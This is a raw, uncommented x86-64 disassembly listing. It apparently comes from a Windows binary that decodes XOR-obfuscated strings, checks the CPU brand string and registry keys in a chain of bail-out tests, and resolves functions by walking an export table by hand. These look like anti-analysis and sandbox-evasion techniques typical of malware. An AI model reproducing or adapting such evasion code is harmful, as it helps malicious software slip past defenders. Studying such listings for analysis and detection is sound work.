vzeroupper
call fcn.140005330
test eax, eax
jne 0x1400034f2
mov dword [rbp + 0x80], eax
xor ecx, ecx
mov eax, 0x80000000
cpuid
mov dword [rbp + 0x80], eax
mov dword [rbp + 0x84], ebx
mov dword [rbp + 0x88], ecx
mov dword [rbp + 0x8c], edx
cmp eax, 0x80000004
jb 0x140002801
mov edx, 0x80000002
lea rcx, [rbp + 0xa0]
call fcn.1400035a0
mov edx, 0x80000003
lea rcx, [rbp + 0xb0]
call fcn.1400035a0
mov edx, 0x80000004
lea rcx, [rbp + 0xc0]
call fcn.1400035a0
mov byte [rbp + 0xd0], 0
movabs rax, 0x9e8cfe82d6992282
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
movabs rax, 0xe6b2eb7fc9ca0138
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm0, ymm0, ymmword [rbp]
vmovq rax, xmm0
cmp qword [rbp + 0xa0], rax
vmovdqu ymmword [rbp + 0xe0], ymm0
vmovdqu ymmword [rbp], ymm0
vzeroupper
jne 0x1400028fb
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpsrldq xmm0, xmm0, 8
vmovq rax, xmm0
cmp qword [rbp + 0xa8], rax
je 0x1400034f2
call fcn.14000a2c0
test eax, eax
jne 0x1400034f2
movabs rax, 0x93a337e7311f2514
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rcx, 0xffffffff80000001
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
movabs rax, 0x6b9bc8c82a0c3394
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
movabs rax, 0xd6f176b065596a47
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
movabs rax, 0x6b9bc8ad446564c8
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
vmovdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
vxorps xmm0, xmm0, xmmword [rbp]
vmovdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005040
test eax, eax
jne 0x1400034f2
call fcn.140009a30
test eax, eax
jne 0x1400034f2
movabs rax, 0xb9a1b04e82f2fe3e
lea rdx, [rbp + 0xe0]
mov qword [rbp + 0x80], rax
movabs rsi, 0x914c7b080289eda6
mov rax, qword [rbp + 0x80]
movabs rdi, 0xfcf3f119d6b4b16d
mov qword [rbp + 0xe0], rax
movabs rbx, 0x45994e44ed8e3732
movabs rax, 0x69fc3c259ac3616e
movabs r14, 0x47aa1b5b5fbdfcff
mov qword [rbp + 0x80], rax
movabs r15, 0x452ae9e6a5bd4c24
mov rax, qword [rbp + 0x80]
movabs r12, 0xfb4028fdee405d21
mov qword [rbp + 0xe8], rax
mov rcx, 0xffffffff80000002
movabs rax, 0xafc47753cd3b5df
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
movabs rax, 0x2a45bdc6c0cf2d53
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
movabs rax, 0xfb4028fdee402e4d
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
vmovdqa xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
mov qword [rbp + 0x28], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmmword [rbp + 0x100], xmm2
vzeroupper
call fcn.140005040
test eax, eax
jne 0x1400034f2
movabs r13, 0xb3b7bf5081e88b2e
lea rcx, [rbp + 0xe0]
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
movabs rax, 0x20ed3d3d9ed26465
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
movabs rax, 0x31c3693f038fcf92
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
movabs rax, 0x2a478490f9ce3e41
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
movabs rax, 0xfb33518ec0252e54
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
movdqa xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
mov qword [rbp + 0x28], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmmword [rbp + 0x100], xmm2
vzeroupper
call fcn.140005820
test eax, eax
jne 0x1400034f2
mov qword [rbp + 0x80], r13
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
movabs rax, 0x20ed3d3d9ed26465
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
movabs rax, 0x31c3693f038fcf92
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
movabs rax, 0x22428490f9ce3e41
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
movabs rax, 0xfb405b849d6e2e47
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x80], rsi
mov rax, qword [rbp + 0x80]
movdqa xmm2, xmmword [rbp + 0x100]
vmovdqu ymm0, ymmword [rbp]
vpxor ymm1, ymm0, ymmword [rbp + 0xe0]
mov qword [rbp + 0x28], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0xe0], ymm1
vmovdqa xmmword [rbp + 0x100], xmm2
vzeroupper
call fcn.140005820
test eax, eax
jne 0x1400034f2
movabs rax, 0xfcf3f119d6ddb46d
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005a40
test eax, eax
jne 0x1400034f2
movabs rax, 0xfcf3f119d69dbd6d
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005a40
test eax, eax
jne 0x1400034f2
movabs rax, 0xfcf3f119d6a0ad6d
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005a40
test eax, eax
jne 0x1400034f2
movabs rax, 0xfcf3f119d6e2e16d
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005a40
test eax, eax
jne 0x1400034f2
movabs rax, 0xfcf3946bb7c3fc3b
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005e80
test eax, eax
jne 0x1400034f2
call fcn.1400062e0
test eax, eax
jne 0x1400034f2
call fcn.140006600
test eax, eax
jne 0x1400034f2
call fcn.1400067f0
test eax, eax
jne 0x1400034f2
call fcn.140006970
test eax, eax
jne 0x1400034f2
movabs rsi, 0xf85ab384d72b8f41
lea rdx, [rbp]
mov qword [rbp + 0x80], rsi
movabs r14, 0x1c28e7f7ed10dc67
mov rax, qword [rbp + 0x80]
movabs r15, 0x5b04cec81f2b5197
mov qword [rbp], rax
movabs rdi, 0xbd08f2d39379ce09
movabs rax, 0xb2da773f886398da
movabs rbx, 0xe19e2b76d820d986
mov qword [rbp + 0x80], rax
movabs r12, 0x4370a8b5bb4c8823
mov rax, qword [rbp + 0x80]
movabs r13, 0x5b04cec81f2b51c8
mov qword [rbp + 8], rax
mov rcx, 0xffffffff80000002
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
vzeroupper
call fcn.140005040
test eax, eax
jne 0x1400034f2
mov qword [rbp + 0x80], rsi
lea rdx, [rbp]
mov rax, qword [rbp + 0x80]
mov rcx, 0xffffffff80000002
mov qword [rbp], rax
movabs rax, 0xa0d8773f886398da
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
vzeroupper
call fcn.140005040
test eax, eax
jne 0x1400034f2
mov qword [rbp + 0x80], rsi
lea rdx, [rbp]
mov rax, qword [rbp + 0x80]
mov rcx, 0xffffffff80000002
mov qword [rbp], rax
movabs rax, 0xb2cc773f886398da
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 8], rax
mov qword [rbp + 0x80], r14
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x80], r15
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 0x80], r12
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0x80], r13
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
vmovdqu ymm0, ymmword [rbp + 0xe0]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
vzeroupper
call fcn.140005040
test eax, eax
jne 0x1400034f2
mov ecx, 1
call fcn.140006b60
test eax, eax
jne 0x1400034f2
call fcn.1400071c0
test eax, eax
jne 0x1400034f2
mov ecx, 1
call fcn.140007370
test eax, eax
jne 0x1400034f2
mov ecx, 1
call fcn.1400078f0
test eax, eax
jne 0x1400034f2
movabs rax, 0xbd08f2d3935ece01
lea rcx, [rbp + 0xa0]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0x80], rdi
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov qword [rbp + 0x80], rbx
mov rax, qword [rbp + 0x80]
movdqa xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 8], rax
xorps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0xa0], xmm0
call fcn.140005a40
test eax, eax
jne 0x1400034f2
mov ecx, 1
call fcn.140008980
test eax, eax
jne 0x1400034f2
call fcn.140008ee0
test eax, eax
jne 0x1400034f2
call fcn.140009210
test eax, eax
jne 0x1400034f2
mov ecx, 1
call fcn.140009510
test eax, eax
sete al
jmp 0x1400034f4
mov ecx, dword [r11 + 0x24]
add rcx, r8
movzx edx, word [rcx + rbx*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov ebx, dword [rcx + rdx*4]
add rbx, r8
jmp 0x140001eff
mov ecx, dword [r11 + 0x24]
add rcx, r8
movzx edx, word [rcx + rbx*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x14000205f
mov ecx, dword [r11 + 0x24]
add rcx, r8
movzx edx, word [rcx + rbx*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x14000211f
mov ecx, dword [r11 + 0x24]
add rcx, r8
movzx edx, word [rcx + rbx*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
jmp 0x1400021ef
xor al, al
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.14000a5f0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret